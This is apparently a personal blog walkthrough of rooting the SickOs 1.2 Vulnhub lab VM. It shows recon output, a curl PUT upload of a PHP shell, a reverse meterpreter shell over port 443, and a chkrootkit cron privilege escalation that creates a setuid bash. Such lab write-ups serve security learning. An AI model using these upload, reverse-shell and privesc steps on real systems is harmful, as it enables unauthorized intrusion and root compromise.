SickOs: 1.2 Boot to Root VM Walkthrough


Today I’ll be compromising the SickOs: 1.2 VM hosted by Vulnhub and created by @D4rk36. This was an obscure and fairly tough VM with a teensy tiny foothold-vulnerability that I’d not previously come across!

NMap #1

root@kali:~# nmap -sV -T5 -sC -p-

Starting Nmap 7.60 ( ) at 2018-03-18 15:28 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for
Host is up (0.0020s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
|   2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_  256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open  http    lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:0B:1C:7A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 67.10 seconds

Tiny attack surface. Old SSH server and a lighttpd HTTP server.

Incidentally this version is apparently broken with a couple of serious vulnerabilities that can be used to read arbitrary files off of the disk in some circumstances. I wasn’t able to get the vulnerability to play ball on my box sadly!

Web Server

The web server has a single page like the following –

With nothing interesting in the HTML other than the cryptic:

<!-- NOTHING IN HERE ///\\\ -->>>>



Nikto has almost nothing to say about the webapp..

root@kali:~# nikto -host
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2018-03-18 16:12:35 (GMT0)
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26188 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2018-03-18 16:15:27 (GMT0) (172 seconds)
+ 1 host(s) tested


Dirb has the following little terse snippet to say about the server –

root@kali:~# dirb

DIRB v2.22    
By The Dark Raver

START_TIME: Sun Mar 18 16:12:41 2018
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:163)                                                                                                                                                             
==> DIRECTORY:                                                                                                                                                                        
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
END_TIME: Sun Mar 18 16:12:53 2018

So nothing was found apart from “/test” which is an empty, listable directory.. What now!

NMap #2

I’ll admit that at this point I was stumped. I was trying to exploit the Lighttpd version, looking for UDP ports that I may have missed, looking for exploits in the SSH server, all sorts.

Eventually I remembered this excellent snippet from @Blackroomsec’s website

“What can I do, what can’t I do? What can I see, what can’t I see?”

Which spurred me into thinking about the basics again and got me wondering if for some wacky reason I’d be able to write to the /test directory with a PUT request (because it was the only visible thing……)

Enter NMap’s scripting engine –

root@kali:~# nmap --script http-methods --script-args http-methods.url-path="/test"

Starting Nmap 7.60 ( ) at 2018-03-18 16:29 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for
Host is up (0.0019s latency).
Not shown: 998 filtered ports
22/tcp open  ssh
80/tcp open  http
| http-methods: 
|_  Path tested: /test
MAC Address: 08:00:27:0B:1C:7A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.34 seconds

That… Doesn’t look good does it? For comparison, the supported methods on the root ( / ) are “GET, HEAD, POST, OPTIONS”.

Let’s try it!

root@kali:~# curl --upload-file /var/www/html/shell.php
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
<html xmlns="" xml:lang="en" lang="en">
  <title>417 - Expectation Failed</title>
  <h1>417 - Expectation Failed</h1>
root@kali:~# curl --upload-file /var/www/html/shell.php -H "Expect: *"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1115    0     0  100  1115      0   120k --:--:-- --:--:-- --:--:--  120k

As you can see, the first attempt failed because an Expect header wasn’t set, but after specifying it it looks like the file was uploaded successfully. We can verify that by navigating to /test

Nice! Now we just spin up a reverse TCP handler and off we go.

Or not. Both reverse and bind TCP shells are failing to connect (presumably because of a firewall on the other end?) Changing from my good ol’ port 4444 to one of the “reserved” ports lower down (443) worked a treat though, so now we have a full meterpreter shell!

Limited Shell

So we’ve got a limited shell on the box now! Using the usual privesc tricks didn’t yield anything (kernel exploits just crash the box, no sticky-bit binaries I can use etc.). Looking in the cron.* directories in /etc/ I came across “chkrootkit” which is fairly famous as a privilege escalation vector. It requires you to create an executable file in /tmp named “update” which will be executed as root whenever the cron job fires. We’ll use it to get a bash binary with the sticky bit set.

Contents of /tmp/update –

www-data@ubuntu:/tmp$ cat update
cp /bin/bash /tmp/bash
chmod 4777 /tmp/bash

There’s an excellent trick to get the cronjob to fire early which is run-parts /etc/cron.daily and then enter garbage for the password when prompted.

A few seconds later we have a bash binary with the sticky bit set which we can run as root!

www-data@ubuntu:/tmp$ ls -al
total 912
drwxrwxrwt  2 root     root       4096 Mar 18 14:40 .
drwxr-xr-x 22 root     root       4096 Mar 30  2016 ..
-rwsrwxrwx  1 root     root     920788 Mar 18 14:39 bash
srwxr-xr-x  1 www-data www-data      0 Mar 18 12:52 php.socket-0
-rwxr-xr-x  1 www-data www-data     44 Mar 18 14:35 update
www-data@ubuntu:/tmp$ ./bash -p
bash-4.2# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
bash-4.2# whoami

Done! Let’s go and read the flag and call it a day.

bash-4.2# cd /root
bash-4.2# ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz  chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt			 newRule
bash-4.2# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.

Bonus Shenanigans

I’ve been curious about why a lot of network based exploits have failed against this box, and there’s a file named newRule in /root which sheds some light on it –

bash-4.2# cat newRule
# Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
# Completed on Mon Apr 25 22:48:24 2016

As expected, it’s a very restrictive set of iptables rules!


Great, great box! Probably one of the harder boxes I’ve compromised so far on this crazy infosec journey I’m trying to take. The Kernel exploit failures were frustrating and I’d love to know why they were making the box so unstable, but I’m glad that there was an alternative “route to root”.

Cheers for reading, hope you’ve learned something.

Add a Comment

Your email address will not be published. Required fields are marked *